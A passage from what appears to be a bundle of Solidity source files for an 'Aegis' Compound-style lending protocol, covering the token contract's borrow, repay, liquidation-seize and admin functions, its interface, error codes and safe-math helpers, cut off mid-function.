totalSupply = vars.totalSupplyNew;\n accountTokens[_redeemer] = vars.accountTokensNew;\n\n emit Transfer(_redeemer, address(this), vars.redeemTokens);\n emit Redeem(_redeemer, vars.redeemAmount, vars.redeemTokens);\n return uint(Error.SUCCESS);\n }\n\n /**\n * @notice Sender borrows assets from the protocol to their own address\n * @param _borrowAmount: The amount of the underlying asset to borrow\n * @return SUCCESS\n */\n function borrowInternal(uint _borrowAmount) internal nonReentrant returns (uint) {\n uint err = accrueInterest();\n require(err == uint(Error.SUCCESS), \"BORROW_ACCRUE_INTEREST_FAILED\");\n return borrowFresh(msg.sender, _borrowAmount);\n }\n\n /**\n * @notice Sender borrows assets from the protocol to their own address\n * @param _borrower address\n * @param _borrowAmount number\n * @return SUCCESS\n */\n function borrowFresh(address payable _borrower, uint _borrowAmount) internal returns (uint) {\n uint allowed = comptroller.borrowAllowed(address(this), _borrower, _borrowAmount);\n require(allowed == 0, \"BORROW_COMPTROLLER_REJECTION\");\n require(block.number == accrualBlockNumber, \"BORROW_FRESHNESS_CHECK\");\n require(_borrowAmount \u003c= getCashPrior(), \"BORROW_CASH_NOT_AVAILABLE\");\n\n BorrowLocalVars memory vars;\n (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(_borrower);\n require(vars.mathErr == MathError.NO_ERROR, \"BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED\");\n\n (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, _borrowAmount);\n require(vars.mathErr == MathError.NO_ERROR, \"BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED\");\n\n (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, _borrowAmount);\n require(vars.mathErr == MathError.NO_ERROR, \"BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED\");\n\n doTransferOut(_borrower, _borrowAmount);\n\n // push storage\n accountBorrows[_borrower].principal = vars.accountBorrowsNew;\n accountBorrows[_borrower].interestIndex = borrowIndex;\n totalBorrows = vars.totalBorrowsNew;\n\n emit Borrow(_borrower, _borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);\n return uint(Error.SUCCESS);\n }\n\n /**\n * @notice Sender repays their own borrow\n * @param _repayAmount The amount to repay\n * @return SUCCESS, number\n */\n function repayBorrowInternal(uint _repayAmount) internal nonReentrant returns (uint, uint) {\n uint err = accrueInterest();\n require(err == uint(Error.SUCCESS), \"REPAY_BORROW_ACCRUE_INTEREST_FAILED\");\n return repayBorrowFresh(msg.sender, msg.sender, _repayAmount);\n }\n\n /**\n * @notice Sender repays a borrow belonging to borrower\n * @param _borrower Borrower address\n * @param _repayAmount The amount to repay\n * @return SUCCESS, number\n */\n function repayBorrowBehalfInternal(address _borrower, uint _repayAmount) internal nonReentrant returns (uint, uint) {\n uint err = accrueInterest();\n require(err == uint(Error.SUCCESS), \"REPAY_BEHALF_ACCRUE_INTEREST_FAILED\");\n return repayBorrowFresh(msg.sender, _borrower, _repayAmount);\n }\n\n /**\n * @notice Repay Borrow\n * @param _payer The account paying off the borrow\n * @param _borrower The account with the debt being payed off\n * @param _repayAmount The amount of undelrying tokens being returned\n * @return SUCCESS, number\n */\n function repayBorrowFresh(address _payer, address _borrower, uint _repayAmount) internal returns (uint, uint) {\n require(block.number == accrualBlockNumber, \"REPAY_BORROW_FRESHNESS_CHECK\");\n\n uint allowed = comptroller.repayBorrowAllowed();\n require(allowed == 0, \"REPAY_BORROW_COMPTROLLER_REJECTION\");\n RepayBorrowLocalVars memory vars;\n vars.borrowerIndex = accountBorrows[_borrower].interestIndex;\n (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(_borrower);\n require(vars.mathErr == MathError.NO_ERROR, \"REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED\");\n \n if (_repayAmount == uint(-1)) {\n vars.repayAmount = vars.accountBorrows;\n } else {\n vars.repayAmount = _repayAmount;\n }\n vars.actualRepayAmount = doTransferIn(_payer, vars.repayAmount);\n (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount);\n require(vars.mathErr == MathError.NO_ERROR, \"repayBorrowFresh::subUInt vars.accountBorrows failure\");\n\n (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount);\n require(vars.mathErr == MathError.NO_ERROR, \"repayBorrowFresh::subUInt totalBorrows failure\");\n\n // push storage\n accountBorrows[_borrower].principal = vars.accountBorrowsNew;\n accountBorrows[_borrower].interestIndex = borrowIndex;\n totalBorrows = vars.totalBorrowsNew;\n\n emit RepayBorrow(_payer, _borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);\n return (uint(Error.SUCCESS), vars.actualRepayAmount);\n }\n\n event OwnerRepayBorrowBehalf(address _account, uint _underlying);\n function ownerRepayBorrowBehalfInternal(address _borrower, address _sender, uint _underlying) internal nonReentrant returns (uint) {\n RepayBorrowLocalVars memory vars;\n (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(_borrower);\n require(vars.mathErr == MathError.NO_ERROR, \"AToken::ownerRepayBorrowBehalfInternal.borrowBalanceStoredInternal vars.accountBorrows failure\");\n uint _tran = doTransferIn(_sender, _underlying);\n (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, _tran);\n require(vars.mathErr == MathError.NO_ERROR, \"AToken::ownerRepayBorrowBehalfInternal.subUInt vars.accountBorrowsNew failure\");\n\n (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, _tran);\n require(vars.mathErr == MathError.NO_ERROR, \"AToken::ownerRepayBorrowBehalfInternal.subUInt vars.totalBorrowsNew failure\");\n\n // push storage\n accountBorrows[_borrower].principal = vars.accountBorrowsNew;\n accountBorrows[_borrower].interestIndex = borrowIndex;\n totalBorrows = vars.totalBorrowsNew;\n emit OwnerRepayBorrowBehalf(_borrower, _underlying);\n return (uint(Error.SUCCESS));\n }\n\n /**\n * @notice Transfers collateral tokens to the liquidator\n * @param _liquidator address\n * @param _borrower address\n * @param _seizeTokens seize number\n * @return SUCCESS\n */\n function seize(address _liquidator, address _borrower, uint _seizeTokens) external nonReentrant returns (uint) {\n require(_liquidator != _borrower, \"LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER\");\n return seizeInternal(msg.sender, _liquidator, _borrower, _seizeTokens);\n }\n\n /**\n * @notice Transfers collateral tokens to the liquidator. Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another AToken\n * @dev borrowerTokensNew = accountTokens[borrower] - seizeTokens\n * @dev liquidatorTokensNew = accountTokens[liquidator] + seizeTokens\n * @param _token address\n * @param _liquidator address\n * @param _borrower address\n * @param _seizeTokens seize number\n * @return SUCCESS\n */\n function seizeInternal(address _token, address _liquidator, address _borrower, uint _seizeTokens) internal returns (uint) {\n uint allowed = comptroller.seizeAllowed(address(this), _token);\n require(allowed == 0, \"LIQUIDATE_SEIZE_COMPTROLLER_REJECTION\");\n \n MathError mathErr;\n uint borrowerTokensNew;\n uint liquidatorTokensNew;\n (mathErr, borrowerTokensNew) = subUInt(accountTokens[_borrower], _seizeTokens);\n require(mathErr == MathError.NO_ERROR, \"LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED\");\n \n (mathErr, liquidatorTokensNew) = addUInt(accountTokens[_liquidator], _seizeTokens);\n require(mathErr == MathError.NO_ERROR, \"LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED\");\n\n // push storage\n accountTokens[_borrower] = borrowerTokensNew;\n accountTokens[_liquidator] = liquidatorTokensNew;\n\n emit Transfer(_borrower, _liquidator, _seizeTokens);\n return uint(Error.SUCCESS);\n }\n\n struct MintLocalVars {\n Error err;\n MathError mathErr;\n uint exchangeRateMantissa;\n uint mintTokens;\n uint totalSupplyNew;\n uint accountTokensNew;\n uint actualMintAmount;\n }\n\n struct RedeemLocalVars {\n Error err;\n MathError mathErr;\n uint exchangeRateMantissa;\n uint redeemTokens;\n uint redeemAmount;\n uint totalSupplyNew;\n uint accountTokensNew;\n }\n\n struct BorrowLocalVars {\n MathError mathErr;\n uint accountBorrows;\n uint accountBorrowsNew;\n uint totalBorrowsNew;\n }\n\n struct RepayBorrowLocalVars {\n Error err;\n MathError mathErr;\n uint repayAmount;\n uint borrowerIndex;\n uint accountBorrows;\n uint accountBorrowsNew;\n uint totalBorrowsNew;\n uint actualRepayAmount;\n }\n\n function _setPendingAdmin(address payable _newAdmin) external returns (uint) {\n require(admin == msg.sender, \"SET_PENDING_ADMIN_OWNER_CHECK\");\n address _old = pendingAdmin;\n pendingAdmin = _newAdmin;\n emit NewPendingAdmin(_old, _newAdmin);\n return uint(Error.SUCCESS);\n }\n\n function _acceptAdmin() external returns (uint) {\n if (msg.sender != pendingAdmin || msg.sender == address(0)) {\n return fail(Error.ERROR, ErrorRemarks.ACCEPT_ADMIN_PENDING_ADMIN_CHECK, uint(Error.ERROR));\n }\n address oldAdmin = admin;\n address oldPendingAdmin = pendingAdmin;\n admin = pendingAdmin;\n pendingAdmin = address(0);\n\n emit NewAdmin(oldAdmin, admin);\n emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);\n return uint(Error.SUCCESS);\n }\n\n function _setComptroller(AegisComptrollerInterface _aegisComptrollerInterface) public returns (uint) {\n require(admin == msg.sender, \"SET_COMPTROLLER_OWNER_CHECK\");\n AegisComptrollerInterface old = comptroller;\n require(_aegisComptrollerInterface.aegisComptroller(), \"AToken::_setComptroller _aegisComptrollerInterface false\");\n comptroller = _aegisComptrollerInterface;\n\n emit NewComptroller(old, _aegisComptrollerInterface);\n return uint(Error.SUCCESS);\n }\n\n function _setReserveFactor(uint _newReserveFactor) external nonReentrant returns (uint) {\n uint err = accrueInterest();\n require(err == uint(Error.SUCCESS), \"SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED\");\n return _setReserveFactorFresh(_newReserveFactor);\n }\n\n function _setReserveFactorFresh(uint _newReserveFactor) internal returns (uint) {\n require(block.number == accrualBlockNumber, \"SET_RESERVE_FACTOR_FRESH_CHECK\");\n require(msg.sender == admin, \"SET_RESERVE_FACTOR_ADMIN_CHECK\");\n require(_newReserveFactor \u003c= reserveFactorMaxMantissa, \"SET_RESERVE_FACTOR_BOUNDS_CHECK\");\n \n uint old = reserveFactorMantissa;\n reserveFactorMantissa = _newReserveFactor;\n\n emit NewReserveFactor(old, _newReserveFactor);\n return uint(Error.SUCCESS);\n }\n\n function _addResevesInternal(uint _addAmount) internal nonReentrant returns (uint) {\n uint error = accrueInterest();\n require(error == uint(Error.SUCCESS), \"ADD_RESERVES_ACCRUE_INTEREST_FAILED\");\n \n (error, ) = _addReservesFresh(_addAmount);\n return error;\n }\n\n function _addReservesFresh(uint _addAmount) internal returns (uint, uint) {\n require(block.number == accrualBlockNumber, \"ADD_RESERVES_FRESH_CHECK\");\n \n uint actualAddAmount = doTransferIn(msg.sender, _addAmount);\n uint totalReservesNew = totalReserves + actualAddAmount;\n\n require(totalReservesNew \u003e= totalReserves, \"_addReservesFresh::totalReservesNew \u003e= totalReserves failure\");\n\n // push storage\n totalReserves = totalReservesNew;\n\n emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);\n return (uint(Error.SUCCESS), actualAddAmount);\n }\n\n function _reduceReserves(uint _reduceAmount, address payable _account) external nonReentrant returns (uint) {\n uint error = accrueInterest();\n require(error == uint(Error.SUCCESS), \"REDUCE_RESERVES_ACCRUE_INTEREST_FAILED\");\n return _reduceReservesFresh(_reduceAmount, _account);\n }\n\n function _reduceReservesFresh(uint _reduceAmount, address payable _account) internal returns (uint) {\n require(admin == msg.sender, \"REDUCE_RESERVES_ADMIN_CHECK\");\n require(block.number == accrualBlockNumber, \"REDUCE_RESERVES_FRESH_CHECK\");\n require(_reduceAmount \u003c= getCashPrior(), \"REDUCE_RESERVES_CASH_NOT_AVAILABLE\");\n require(_reduceAmount \u003c= totalReserves, \"REDUCE_RESERVES_VALIDATION\");\n\n uint totalReservesNew = totalReserves - _reduceAmount;\n require(totalReservesNew \u003c= totalReserves, \"_reduceReservesFresh::totalReservesNew \u003c= totalReserves failure\");\n\n // push storage\n totalReserves = totalReservesNew;\n doTransferOut(_account, _reduceAmount);\n emit ReservesReduced(_account, _reduceAmount, totalReservesNew);\n return uint(Error.SUCCESS);\n }\n\n function _setInterestRateModel(InterestRateModel _interestRateModel) public returns (uint) {\n uint err = accrueInterest();\n require(err == uint(Error.SUCCESS), \"SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED\");\n return _setInterestRateModelFresh(_interestRateModel);\n }\n\n function _setInterestRateModelFresh(InterestRateModel _interestRateModel) internal returns (uint) {\n require(msg.sender == admin, \"SET_INTEREST_RATE_MODEL_OWNER_CHECK\");\n require(block.number == accrualBlockNumber, \"SET_INTEREST_RATE_MODEL_FRESH_CHECK\");\n\n InterestRateModel old = interestRateModel;\n require(_interestRateModel.isInterestRateModel(), \"_setInterestRateModelFresh::_interestRateModel.isInterestRateModel failure\");\n interestRateModel = _interestRateModel;\n emit NewMarketInterestRateModel(old, _interestRateModel);\n return uint(Error.SUCCESS);\n }\n\n event NewLiquidateAdmin(address _old, address _new);\n function _setLiquidateAdmin(address payable _newLiquidateAdmin) public returns (uint) {\n require(msg.sender == liquidateAdmin, \"change not authorized\");\n address _old = liquidateAdmin;\n liquidateAdmin = _newLiquidateAdmin;\n emit NewLiquidateAdmin(_old, _newLiquidateAdmin);\n return uint(Error.SUCCESS);\n }\n}"},"ATokenInterface.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./AegisTokenCommon.sol\";\nimport \"./InterestRateModel.sol\";\nimport \"./AegisComptrollerInterface.sol\";\n\n/**\n * @title aToken interface\n * @author Aegis\n */\ncontract ATokenInterface is AegisTokenCommon {\n bool public constant aToken = true;\n\n /**\n * @notice Emitted when interest is accrued\n */\n event AccrueInterest(uint _cashPrior, uint _interestAccumulated, uint _borrowIndex, uint _totalBorrows);\n\n /**\n * @notice Emitted when tokens are minted\n */\n event Mint(address _minter, uint _mintAmount, uint _mintTokens);\n\n /**\n * @notice Emitted when tokens are redeemed\n */\n event Redeem(address _redeemer, uint _redeemAmount, uint _redeemTokens);\n\n /**\n * @notice Emitted when underlying is borrowed\n */\n event Borrow(address _borrower, uint _borrowAmount, uint _accountBorrows, uint _totalBorrows);\n\n /**\n * @notice Event emitted when a borrow is repaid\n */\n event RepayBorrow(address _payer, address _borrower, uint _repayAmount, uint _accountBorrows, uint _totalBorrows);\n\n /**\n * @notice Event emitted when a borrow is liquidated\n */\n event LiquidateBorrow(address _liquidator, address _borrower, uint _repayAmount, address _aTokenCollateral, uint _seizeTokens);\n\n /**\n * @notice Event emitted when pendingAdmin is accepted, which means admin is updated\n */\n event NewAdmin(address _old, address _new);\n\n /**\n * @notice Event emitted when pendingAdmin is changed\n */\n event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);\n\n /**\n * @notice Event emitted when comptroller is changed\n */\n event NewComptroller(AegisComptrollerInterface _oldComptroller, AegisComptrollerInterface _newComptroller);\n\n /**\n * @notice Event emitted when interestRateModel is changed\n */\n event NewMarketInterestRateModel(InterestRateModel _oldInterestRateModel, InterestRateModel _newInterestRateModel);\n\n /**\n * @notice Event emitted when the reserve factor is changed\n */\n event NewReserveFactor(uint _oldReserveFactorMantissa, uint _newReserveFactorMantissa);\n\n /**\n * @notice Event emitted when the reserves are added\n */\n event ReservesAdded(address _benefactor, uint _addAmount, uint _newTotalReserves);\n\n /**\n * @notice Event emitted when the reserves are reduced\n */\n event ReservesReduced(address _admin, uint _reduceAmount, uint _newTotalReserves);\n\n /**\n * @notice EIP20 Transfer event\n */\n event Transfer(address indexed _from, address indexed _to, uint _amount);\n\n /**\n * @notice EIP20 Approval event\n */\n event Approval(address indexed _owner, address indexed _spender, uint _amount);\n\n /**\n * @notice Failure event\n */\n event Failure(uint _error, uint _info, uint _detail);\n\n\n function transfer(address _dst, uint _amount) external returns (bool);\n function transferFrom(address _src, address _dst, uint _amount) external returns (bool);\n function approve(address _spender, uint _amount) external returns (bool);\n function allowance(address _owner, address _spender) external view returns (uint);\n function balanceOf(address _owner) external view returns (uint);\n function balanceOfUnderlying(address _owner) external returns (uint);\n function getAccountSnapshot(address _account) external view returns (uint, uint, uint, uint);\n function borrowRatePerBlock() external view returns (uint);\n function supplyRatePerBlock() external view returns (uint);\n function totalBorrowsCurrent() external returns (uint);\n function borrowBalanceCurrent(address _account) external returns (uint);\n function borrowBalanceStored(address _account) public view returns (uint);\n function exchangeRateCurrent() public returns (uint);\n function exchangeRateStored() public view returns (uint);\n function getCash() external view returns (uint);\n function accrueInterest() public returns (uint);\n function seize(address _liquidator, address _borrower, uint _seizeTokens) external returns (uint);\n\n\n function _acceptAdmin() external returns (uint);\n function _setComptroller(AegisComptrollerInterface _newComptroller) public returns (uint);\n function _setReserveFactor(uint _newReserveFactorMantissa) external returns (uint);\n function _reduceReserves(uint _reduceAmount, address payable _account) external returns (uint);\n function _setInterestRateModel(InterestRateModel _newInterestRateModel) public returns (uint);\n}"},"BaseReporter.sol":{"content":"pragma solidity ^0.5.16;\n\n/**\n * @title Collection of error messages\n * @author Aegis\n */\ncontract BaseReporter {\n event FailUre(uint _error, uint _remarks, uint _item);\n enum Error{\n SUCCESS,\n ERROR\n }\n\n enum ErrorRemarks {\n COMPTROLLER_TRANSFER_ALLOWED,\n ALLOW_SELF_TRANSFERS,\n DIVISION_BY_ZERO,\n\n SET_COMPTROLLER_OWNER_CHECK,\n SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,\n SET_RESERVE_FACTOR_FRESH_CHECK,\n SET_RESERVE_FACTOR_ADMIN_CHECK,\n SET_RESERVE_FACTOR_BOUNDS_CHECK,\n \n ADD_RESERVES_ACCRUE_INTEREST_FAILED,\n ADD_RESERVES_FRESH_CHECK,\n \n REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,\n REDUCE_RESERVES_ADMIN_CHECK,\n REDUCE_RESERVES_FRESH_CHECK,\n REDUCE_RESERVES_CASH_NOT_AVAILABLE,\n REDUCE_RESERVES_VALIDATION,\n\n SET_INTEREST_RATE_MODEL_OWNER_CHECK,\n SET_INTEREST_RATE_MODEL_FRESH_CHECK,\n\n INTEGER_OVERFLOW,\n INTEGER_UNDERFLOW,\n\n TRANSFER_NOT_ALLOWED,\n TRANSFER_NOT_ENOUGH,\n TRANSFER_TOO_MUCH,\n\n ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,\n ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,\n ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,\n ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,\n ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,\n\n MINT_COMPTROLLER_REJECTION,\n MINT_FRESHNESS_CHECK,\n MINT_EXCHANGE_RATE_READ_FAILED,\n REDEEM_ACCRUE_INTEREST_FAILED,\n REDEEM_EXCHANGE_RATE_READ_FAILED,\n CANNOT_BE_ZERO,\n\n REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,\n REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,\n REDEEM_COMPTROLLER_REJECTION,\n REDEEM_FRESHNESS_CHECK,\n REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,\n REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,\n REDEEM_TRANSFER_OUT_NOT_POSSIBLE,\n\n BORROW_FRESHNESS_CHECK,\n BORROW_COMPTROLLER_REJECTION,\n BORROW_CASH_NOT_AVAILABLE,\n BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,\n BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,\n BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,\n \n REPAY_BORROW_ACCRUE_INTEREST_FAILED,\n REPAY_BEHALF_ACCRUE_INTEREST_FAILED,\n REPAY_BORROW_FRESHNESS_CHECK,\n REPAY_BORROW_COMPTROLLER_REJECTION,\n REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,\n\n LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,\n LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,\n LIQUIDATE_FRESHNESS_CHECK,\n LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,\n LIQUIDATE_COMPTROLLER_REJECTION,\n LIQUIDATE_LIQUIDATOR_IS_BORROWER,\n LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,\n LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,\n LIQUIDATE_REPAY_BORROW_FRESH_FAILED,\n LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,\n LIQUIDATE_SEIZE_COMPTROLLER_REJECTION,\n LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,\n LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\n\n EXIT_MARKET_BALANCE_OWED,\n EXIT_MARKET_REJECTION,\n\n SET_PRICE_ORACLE_OWNER_CHECK,\n SET_CLOSE_FACTOR_OWNER_CHECK,\n SET_CLOSE_FACTOR_VALIDATION,\n\n SET_COLLATERAL_FACTOR_OWNER_CHECK,\n SET_COLLATERAL_FACTOR_NO_EXISTS,\n SET_COLLATERAL_FACTOR_VALIDATION,\n SET_COLLATERAL_FACTOR_WITHOUT_PRICE,\n\n SET_MAX_ASSETS_OWNER_CHECK,\n SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,\n SET_LIQUIDATION_INCENTIVE_VALIDATION,\n SUPPORT_MARKET_EXISTS,\n SUPPORT_MARKET_OWNER_CHECK,\n SET_PAUSE_GUARDIAN_OWNER_CHECK,\n\n SET_PENDING_ADMIN_OWNER_CHECK,\n ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,\n SET_PENDING_IMPLEMENTATION_OWNER_CHECK,\n MINT_ACCRUE_INTEREST_FAILED,\n BORROW_ACCRUE_INTEREST_FAILED,\n SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED\n\n }\n\n enum MathError {\n NO_ERROR,\n DIVISION_BY_ZERO,\n INTEGER_OVERFLOW,\n INTEGER_UNDERFLOW\n }\n\n function fail(Error _errorEnum, ErrorRemarks _remarks, uint _item) internal returns (uint) {\n emit FailUre(uint(_errorEnum), uint(_remarks), _item);\n return uint(_errorEnum);\n }\n}"},"CarefulMath.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./BaseReporter.sol\";\n\ncontract CarefulMath {\n\n function mulUInt(uint _a, uint _b) internal pure returns (BaseReporter.MathError, uint) {\n if (_a == 0) {\n return (BaseReporter.MathError.NO_ERROR, 0);\n }\n uint c = _a * _b;\n if (c / _a != _b) {\n return (BaseReporter.MathError.INTEGER_OVERFLOW, 0);\n } else {\n return (BaseReporter.MathError.NO_ERROR, c);\n }\n }\n\n function divUInt(uint _a, uint _b) internal pure returns (BaseReporter.MathError, uint) {\n if (_b == 0) {\n return (BaseReporter.MathError.DIVISION_BY_ZERO, 0);\n }\n\n return (BaseReporter.MathError.NO_ERROR, _a / _b);\n }\n\n function subUInt(uint _a, uint _b) internal pure returns (BaseReporter.MathError, uint) {\n if (_b \u003c= _a) {\n return (BaseReporter.MathError.NO_ERROR, _a - _b);\n } else {\n return (BaseReporter.MathError.INTEGER_UNDERFLOW, 0);\n }\n }\n\n function addUInt(uint _a, uint _b) internal pure returns (BaseReporter.MathError, uint) {\n uint c = _a + _b;\n if (c \u003e= _a) {\n return (BaseReporter.MathError.NO_ERROR, c);\n } else {\n return (BaseReporter.MathError.INTEGER_OVERFLOW, 0);\n }\n }\n\n function addThenSubUInt(uint _a, uint _b, uint _c) internal pure returns (BaseReporter.MathError, uint) {\n (BaseReporter.MathError err0, uint sum) = addUInt(_a, _b);\n if (err0 != BaseReporter.MathError.NO_ERROR) {\n return (err0, 0);\n }\n return subUInt(sum, _c);\n }\n}"},"EIP20Interface.sol":{"content":"pragma solidity ^0.5.16;\n\n/**\n * @title EIP20Interface\n */\ncontract EIP20Interface {\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function decimals() external view returns (uint8);\n\n /**\n * @notice Get the total number of tokens in circulation\n * @return uint\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @notice Gets the balance of the specified address\n * @param _owner The address from which the balance will be retrieved\n * @return uint\n */\n function balanceOf(address _owner) external view returns (uint256 balance);\n\n /**\n * @notice Transfer `amount` tokens from `msg.sender` to `dst`\n * @param _dst The address of the destination account\n * @param _amount The number of tokens to transfer\n * @return bool\n */\n function transfer(address _dst, uint256 _amount) external returns (bool success);\n\n /**\n * @notice Transfer `amount` tokens from `src` to `dst`\n * @param _src The address of the source account\n * @param _dst The address of the destination account\n * @param _amount The number of tokens to transfer\n * @return bool\n */\n function transferFrom(address _src, address _dst, uint256 _amount) external returns (bool success);\n\n /**\n * @notice Approve `spender` to transfer up to `amount` from `src`\n * @param _spender The address of the account which may transfer tokens\n * @param _amount The number of tokens that are approved (-1 means infinite)\n * @return uint\n */\n function approve(address _spender, uint256 _amount) external returns (bool success);\n\n /**\n * @notice Get the current allowance from `owner` for `spender`\n * @param _owner The address of the account which owns the tokens to be spent\n * @param _spender The address of the account which may transfer tokens\n * @return uint\n */\n function allowance(address _owner, address _spender) external view returns (uint256 remaining);\n\n event Transfer(address indexed _from, address indexed _to, uint256 _amount);\n event Approval(address indexed _owner, address indexed _spender, uint256 _amount);\n}"},"EIP20NonStandardInterface.sol":{"content":"pragma solidity ^0.5.16;\n\n/**\n * @title EIP20NonStandardInterface\n * @author Aegis\n */\ncontract EIP20NonStandardInterface {\n \n /**\n * @notice Get the total number of tokens in circulation\n * @return The supply of tokens\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @notice Gets the balance of the specified address\n * @param _owner The address from which the balance will be retrieved\n * @return uint\n */\n function balanceOf(address _owner) external view returns (uint256 balance);\n\n /**\n * @notice Transfer `amount` tokens from `msg.sender` to `dst`\n * @param _dst The address of the destination account\n * @param _amount The number of tokens to transfer\n */\n function transfer(address _dst, uint256 _amount) external;\n\n /**\n * @notice Transfer `amount` tokens from `src` to `dst`\n * @param _src: The address of the source account\n * @param _dst: The address of the destination account\n * @param _amount: The number of tokens to transfer\n */\n function transferFrom(address _src, address _dst, uint256 _amount) external;\n\n /**\n * @notice Approve `spender` to transfer up to `amount` from `src`\n * @param _spender The address of the account which may transfer tokens\n * @param _amount The number of tokens that are approved\n * @return bool\n */\n function approve(address _spender, uint256 _amount) external returns (bool success);\n\n /**\n * @notice Get the current allowance from `owner` for `spender`\n * @param _owner The address of the account which owns the tokens to be spent\n * @param _spender The address of the account which may transfer tokens\n * @return uint\n */\n function allowance(address _owner, address _spender) external view returns (uint256 remaining);\n\n event Transfer(address indexed _from, address indexed _to, uint256 _amount);\n event Approval(address indexed _owner, address indexed _spender, uint256 _amount);\n}"},"Exponential.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./AegisMath.sol\";\nimport \"./BaseReporter.sol\";\nimport \"./CarefulMath.sol\";\n\ncontract Exponential is CarefulMath {\n\n uint constant expScale = 1e18;\n uint constant doubleScale = 1e36;\n uint constant halfExpScale = expScale/2;\n uint constant mantissaOne = expScale;\n\n struct Exp {\n uint mantissa;\n }\n\n struct Double {\n uint mantissa;\n }\n\n /**\n * @notice Creates an exponential from numerator and denominator values\n * @param _num uint\n * @param _denom uint\n * @return MathError, Exp\n */\n function getExp(uint _num, uint _denom) pure internal returns (BaseReporter.MathError, Exp memory) {\n (BaseReporter.MathError err0, uint scaledNumerator) = mulUInt(_num, expScale);\n if (err0 != BaseReporter.MathError.NO_ERROR) {\n return (err0, Exp({mantissa: 0}));\n }\n (BaseReporter.MathError err1, uint rational) = divUInt(scaledNumerator, _denom);\n if (err1 != BaseReporter.MathError.NO_ERROR) {\n return (err1, Exp({mantissa: 0}));\n }\n return (BaseReporter.MathError.NO_ERROR, Exp({mantissa: rational}));\n }\n\n /**\n * @notice Adds two exponentials, returning a new exponential\n * @param _a exp\n * @param _b exp\n * @return MathError, Exp\n */\n function addExp(Exp memory _a, Exp memory _b) pure internal returns (BaseReporter.MathError, Exp memory) {\n (BaseReporter.MathError error, uint result) = addUInt(_a.mantissa, _b.mantissa);\n return (error, Exp({mantissa: result}));\n }\n\n /**\n * @notice Subtracts two exponentials, returning a new exponential\n * @param _a exp\n * @param _b exp\n * @return MathError, Exp\n */\n function subExp(Exp memory _a, Exp memory _b) pure internal returns (BaseReporter.MathError, Exp memory) {\n (BaseReporter.MathError error, uint result) = subUInt(_a.mantissa, _b.mantissa);\n return (error, Exp({mantissa: result}));\n }\n\n /**\n * @notice Multiply an Exp by a scalar, returning a new Exp\n * @param _a exp\n * @param _scalar uint\n * @return MathError, Exp\n */\n function mulScalar(Exp memory _a, uint _scalar) pure internal returns (BaseReporter.MathError, Exp memory) {\n (BaseReporter.MathError err0, uint scaledMantissa) = mulUInt(_a.mantissa, _scalar);\n if (err0 != BaseReporter.MathError.NO_ERROR) {\n return (err0, Exp({mantissa: 0}));\n }\n return (BaseReporter.MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));\n }\n\n /**\n * @notice Multiply an Exp by a scalar, then truncate to return an unsigned integer\n * @param _a exp\n * @param _scalar uint\n * @return MathError, Exp\n */\n function mulScalarTruncate(Exp memory _a, uint _scalar) pure internal returns (BaseReporter.MathError, uint) {\n (BaseReporter.MathError err, Exp memory product) = 